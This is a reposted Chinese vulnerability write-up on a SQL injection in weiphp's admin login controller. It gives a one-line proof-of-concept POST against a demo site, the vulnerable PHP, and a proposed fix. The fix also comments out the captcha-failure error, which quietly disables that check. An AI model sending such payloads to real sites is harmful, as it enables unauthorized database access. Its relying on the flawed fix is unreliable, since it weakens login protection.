weiphp /Application/Admin/Controller/PublicController.class.php Login SQL Injection Vul - .Little Hann

没穿底裤 2020年1月1日06:17:12评论713 views字数 1285阅读4分17秒阅读模式
摘要

1. 漏洞描述Relevant Link:2. 漏洞触发条件3. 漏洞代码分析/Application/Admin/Controller/PublicController.class.php

1. 漏洞描述

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2016-0190216

2. 漏洞触发条件

0x1: POC

http://demo.weiphp.cn/index.php?s=/Admin/Public/login.html post:username[0]=admin'&username[1]=xxx*&password=123

weiphp /Application/Admin/Controller/PublicController.class.php Login SQL Injection Vul - .Little Hann

3. 漏洞代码分析

/Application/Admin/Controller/PublicController.class.php

public functionlogin($username= null,$password= null,$verify= null){     /*读取数据库中的配置*/$config=S('DB_CONFIG_DATA');     if(!$config){$config=D('Config')->lists();S('DB_CONFIG_DATA',$config);     }C($config); //添加配置     //这里进行了验证码验证,但是如果黑客通过HTTP抓取动态获取验证码,则可突破这层防御     if(IS_POST){          /*检测验证码 TODO:*/         if(C('WEB_SITE_VERIFY') && !check_verify($verify)){$this->error('验证码输入错误!');     }     /*登录用户*/$User=D('Common/User');      //未对$username, $password进行任何输入过滤,导致SQL注入     if($User->login($username,$password, 'admin_login')){ //登录用户     ..

4. 防御方法

/Application/Admin/Controller/PublicController.class.php

public functionlogin($username= null,$password= null,$verify= null){         /*读取数据库中的配置*/$config=S('DB_CONFIG_DATA');         if(!$config){$config=D('Config')->lists();S('DB_CONFIG_DATA',$config);         }C($config); //添加配置         if(IS_POST){              /*检测验证码 TODO:*/             if(C('WEB_SITE_VERIFY') && !check_verify($verify)){                 //$this->error('验证码输入错误!');             }             /*登录用户*/$User=D('Common/User');             /* sql inject protect */$username=mysql_real_escape_string($username);$password=mysql_real_escape_string($password);             /**/             if($User->login($username,$password, 'admin_login')){ //登录用户

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日06:17:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   weiphp /Application/Admin/Controller/PublicController.class.php Login SQL Injection Vul - .Little Hannhttp://cn-sec.com/archives/76826.html

发表评论

匿名网友 填写信息